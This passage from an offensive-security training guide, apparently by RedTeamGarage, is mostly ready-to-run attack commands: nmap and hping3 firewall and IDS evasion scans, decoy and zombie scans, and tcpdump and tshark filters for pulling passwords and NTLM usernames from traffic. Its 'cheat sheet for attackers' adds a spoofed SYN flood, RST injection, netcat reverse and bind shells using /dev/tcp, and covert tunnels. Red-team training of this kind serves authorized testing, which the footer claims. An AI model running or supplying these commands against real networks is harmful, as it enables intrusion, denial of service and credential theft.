# Source port 53 – bypass FW rules allowing DNS responses
nmap --source-port 53 -p 22,3389,445 192.168.10.5
hping3 -S --baseport 53 -p 22 192.168.10.5

# Decoy scan – hide attacker IP among decoys
nmap -D RND:10 192.168.10.5 # 10 random decoy IPs
nmap -D 10.0.0.1,10.0.0.2,ME,10.0.0.3 192.168.10.5

# Slow scan – evade rate-based detection
nmap -T0 -p 22,80,443 192.168.10.5 # paranoid (5min between probes)
nmap -T1 192.168.10.5 # sneaky

# Fragment – evade IDS signature matching
nmap -f --mtu 8 192.168.10.5 # 8-byte IP fragments
fragroute 192.168.10.5 # auto-fragment all traffic

# TCP idle scan – completely anonymous (uses zombie host)
# Find zombie: nmap -Pn -p 445 --script ipidseq ZOMBIE_IP
nmap -Pn -sI ZOMBIE_IP:445 -p 22,80,443 192.168.10.5
# Packets appear to come from zombie, not attacker
```



14 — WIRESHARK & TCPDUMP: READING RAW TRAFFIC

Capture, Filter & Analyse TCP/IP at Packet Level

Wireshark and tcpdump are essential for understanding what is happening on the wire during an engagement. Whether verifying that your payload arrived, diagnosing why a shell died, or extracting credentials from captured traffic — packet analysis is a core attacker skill.

Essential tcpdump Filters

\$ tcpdump — Essential Capture Filters

```
# Capture all traffic on interface
tcpdump -i eth0 -n -w capture.pcap

# Filter by host
tcpdump -i eth0 -n host 192.168.10.5

# Filter by port
tcpdump -i eth0 -n port 445
tcpdump -i eth0 -n 'port 80 or port 443'

# Show payload in ASCII (find credentials)
tcpdump -i eth0 -A -n 'port 80' | grep -iE 'pass|user|cookie|auth'

# Capture DNS queries
tcpdump -i eth0 -n 'port 53' -v

# Show TCP flags
tcpdump -i eth0 -n 'tcp[tcpflags] & tcp-syn != 0' # SYN packets only
tcpdump -i eth0 -n 'tcp[tcpflags] & tcp-rst != 0' # RST packets

# Read saved pcap
tcpdump -r capture.pcap -n host 192.168.10.5
```

Wireshark Display Filters (Key Ones)



\$ Wireshark Display Filters

```
# Wireshark display filters (GUI and tshark -Y)

tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN packets only
tcp.flags.reset == 1                    # All RST packets
http.request.method == 'POST'           # HTTP POST requests
http contains 'password'                 # HTTP with 'password' in body
smb2                                     # All SMBv2 traffic
kerberos                                 # All Kerberos packets
ntlmssp                                  # NTLM authentication
dns.qry.name contains 'corp.local'       # DNS queries for domain
ip.ttl < 10                              # Packets with low TTL
tcp.analysis.retransmission              # Retransmitted packets

# tshark - command-line Wireshark
tshark -r cap.pcap -Y 'http.request.method==POST' -T fields \
  -e ip.src -e http.host -e http.file_data

tshark -r cap.pcap -Y 'ntlmssp' -T fields \
  -e ip.src -e ntlmssp.auth.username # Extract NTLM usernames
```



15 — TCP/IP CHEAT SHEET FOR ATTACKERS

Every Command You Need — One Page Reference

TCP SYN scan	<code>nmap -sS -p- --min-rate 5000 TARGET -oA syn_scan</code>
TCP version scan	<code>nmap -sV -sC -p PORTS TARGET</code>
FIN scan (FW bypass)	<code>nmap -sF -p 22,80,443,445 TARGET</code>
ACK scan (map FW)	<code>nmap -sA TARGET (RST=unfiltered, drop=filtered)</code>
UDP scan	<code>nmap -sU -p 53,161,500 TARGET --open</code>
Xmas scan	<code>nmap -sX -p 1-1024 TARGET</code>
Decoy scan	<code>nmap -D RND:10 TARGET</code>
Source port bypass	<code>nmap --source-port 53 -p 22,3389 TARGET</code>
Fragment evasion	<code>nmap -f --mtu 8 -p 445 TARGET</code>
Slow scan (stealth)	<code>nmap -T0 -p 22,80,443 TARGET</code>
Idle/Zombie scan	<code>nmap -sI ZOMBIE:PORT -p 445 TARGET</code>
SYN flood	<code>hping3 -S --rand-source --flood -p 80 TARGET</code>
FIN scan hping3	<code>hping3 -F -p 445 TARGET -c 3 -V</code>
Spoof source IP	<code>hping3 -a SPOOF_IP -S -p 80 TARGET</code>
RST inject	<code>tcpkill -i eth0 host TARGET and port 22</code>
Subnet calc	<code>ipcalc IP/CIDR</code>
Show routing table	<code>ip route show (Linux) route print (Windows)</code>
ARP cache	<code>ip neigh show (Linux) arp -a (Windows)</code>
TCP connections	<code>ss -tnp (Linux) netstat -ano (Windows)</code>
nc reverse shell	<code>nc -lvnp 4444 (attacker) bash -i >& /dev/tcp/IP/4444 0>&1</code>
nc bind shell	<code>nc -lvnp 4444 -e /bin/bash (target)</code>
nc banner grab	<code>echo " nc -w3 TARGET PORT</code>
Socat TLS shell	<code>socat openssl-listen:4443,cert=s.pem,verify=0 -</code>
SSH local fwd	<code>ssh -L LPORT:INTERNAL_HOST:RPORT user@PIVOT -N</code>
SSH SOCKS proxy	<code>ssh -D 1080 user@PIVOT -N</code>
Chisel tunnel	<code>chisel server -p 443 --reverse chisel client X:443 R:socks</code>
proxychains nmap	<code>proxychains nmap -sT -Pn TARGET</code>



tcpdump credentials	<code>tcpdump -A 'port 80' grep -iE 'pass[user cookie']</code>
tshark NTLM users	<code>tshark -r cap.pcap -Y ntlmssp -T fields -e ntlmssp.auth.username</code>
SNMP community brute	<code>onesixtyone -c dict.txt TARGET</code>
DNS zone transfer	<code>dig axfr DOMAIN @DNS_SERVER</code>
ICMP tunnel SSH	<code>ptunnel -p PROXY -lp 2222 -da TARGET -dp 22</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, and built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.